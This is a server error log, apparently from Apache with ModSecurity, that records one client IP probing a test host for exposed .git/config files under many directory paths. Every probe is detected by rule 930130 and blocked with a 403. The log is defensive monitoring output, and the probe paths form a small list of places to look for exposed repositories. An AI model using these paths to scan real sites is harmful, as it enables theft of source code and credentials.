[Wed May 22 20:56:14.463825 2024] [:error] [pid 3395394] [client 91.215.85.43:56848] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v2/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v2/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lAAAAAg"]
[Wed May 22 20:56:14.464333 2024] [:error] [pid 3395394] [client 91.215.85.43:56848] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v2/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lAAAAAg"]
[Wed May 22 20:56:14.464778 2024] [:error] [pid 3395394] [client 91.215.85.43:56848] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v2/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lAAAAAg"]
[Wed May 22 20:56:14.470760 2024] [:error] [pid 3395357] [client 91.215.85.43:56862] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /qa/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvLgAAAAA"]
[Wed May 22 20:56:14.471033 2024] [:error] [pid 3395359] [client 91.215.85.43:56878] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /application/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYQAAAAI"]
[Wed May 22 20:56:14.471086 2024] [:error] [pid 3395357] [client 91.215.85.43:56862] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvLgAAAAA"]
[Wed May 22 20:56:14.471375 2024] [:error] [pid 3395357] [client 91.215.85.43:56862] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvLgAAAAA"]
[Wed May 22 20:56:14.471425 2024] [:error] [pid 3395359] [client 91.215.85.43:56878] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYQAAAAI"]
[Wed May 22 20:56:14.471749 2024] [:error] [pid 3395359] [client 91.215.85.43:56878] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYQAAAAI"]
[Wed May 22 20:56:14.474545 2024] [:error] [pid 3395358] [client 91.215.85.43:56886] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /developer/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-PAAAAAE"]
[Wed May 22 20:56:14.474927 2024] [:error] [pid 3395358] [client 91.215.85.43:56886] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-PAAAAAE"]
[Wed May 22 20:56:14.475240 2024] [:error] [pid 3395358] [client 91.215.85.43:56886] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-PAAAAAE"]
[Wed May 22 20:56:14.477684 2024] [:error] [pid 3395392] [client 91.215.85.43:56866] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aCgAAAAY"]
[Wed May 22 20:56:14.477919 2024] [:error] [pid 3395392] [client 91.215.85.43:56866] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aCgAAAAY"]
[Wed May 22 20:56:14.478047 2024] [:error] [pid 3395395] [client 91.215.85.43:56874] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v3/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu50gAAAAk"]
[Wed May 22 20:56:14.478092 2024] [:error] [pid 3395392] [client 91.215.85.43:56866] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aCgAAAAY"]
[Wed May 22 20:56:14.478317 2024] [:error] [pid 3395395] [client 91.215.85.43:56874] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v3/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu50gAAAAk"]
[Wed May 22 20:56:14.478545 2024] [:error] [pid 3395395] [client 91.215.85.43:56874] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v3/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu50gAAAAk"]
[Wed May 22 20:56:14.479715 2024] [:error] [pid 3395384] [client 91.215.85.43:56902] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /node_modules/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TAAAAAU"]
[Wed May 22 20:56:14.479806 2024] [:error] [pid 3395360] [client 91.215.85.43:56892] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPQAAAAM"]
[Wed May 22 20:56:14.479938 2024] [:error] [pid 3395384] [client 91.215.85.43:56902] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TAAAAAU"]
[Wed May 22 20:56:14.480094 2024] [:error] [pid 3395360] [client 91.215.85.43:56892] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPQAAAAM"]
[Wed May 22 20:56:14.480119 2024] [:error] [pid 3395384] [client 91.215.85.43:56902] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TAAAAAU"]
[Wed May 22 20:56:14.480288 2024] [:error] [pid 3395360] [client 91.215.85.43:56892] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPQAAAAM"]
[Wed May 22 20:56:14.484471 2024] [:error] [pid 3395393] [client 91.215.85.43:56884] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /static/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwXgAAAAc"]
[Wed May 22 20:56:14.484725 2024] [:error] [pid 3395393] [client 91.215.85.43:56884] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwXgAAAAc"]
[Wed May 22 20:56:14.484900 2024] [:error] [pid 3395393] [client 91.215.85.43:56884] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwXgAAAAc"]
[Wed May 22 20:56:14.560711 2024] [:error] [pid 3395394] [client 91.215.85.43:56932] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lQAAAAg"]
[Wed May 22 20:56:14.561434 2024] [:error] [pid 3395394] [client 91.215.85.43:56932] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lQAAAAg"]
[Wed May 22 20:56:14.562021 2024] [:error] [pid 3395394] [client 91.215.85.43:56932] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lQAAAAg"]
[Wed May 22 20:56:14.565306 2024] [:error] [pid 3395359] [client 91.215.85.43:56948] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /flock/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/flock/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYgAAAAI"]
[Wed May 22 20:56:14.565851 2024] [:error] [pid 3395359] [client 91.215.85.43:56948] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/flock/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYgAAAAI"]
[Wed May 22 20:56:14.566390 2024] [:error] [pid 3395359] [client 91.215.85.43:56948] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/flock/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYgAAAAI"]
[Wed May 22 20:56:14.567901 2024] [:error] [pid 3395357] [client 91.215.85.43:56984] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvLwAAAAA"]
[Wed May 22 20:56:14.568329 2024] [:error] [pid 3395357] [client 91.215.85.43:56984] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvLwAAAAA"]
[Wed May 22 20:56:14.568460 2024] [authz_core:error] [pid 3395358] [client 91.215.85.43:57066] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.git
[Wed May 22 20:56:14.568515 2024] [:error] [pid 3395357] [client 91.215.85.43:56984] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvLwAAAAA"]
[Wed May 22 20:56:14.568833 2024] [:error] [pid 3395396] [client 91.215.85.43:56906] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fgAAAAo"]
[Wed May 22 20:56:14.569473 2024] [:error] [pid 3395396] [client 91.215.85.43:56906] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fgAAAAo"]
[Wed May 22 20:56:14.569633 2024] [:error] [pid 3395396] [client 91.215.85.43:56906] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fgAAAAo"]
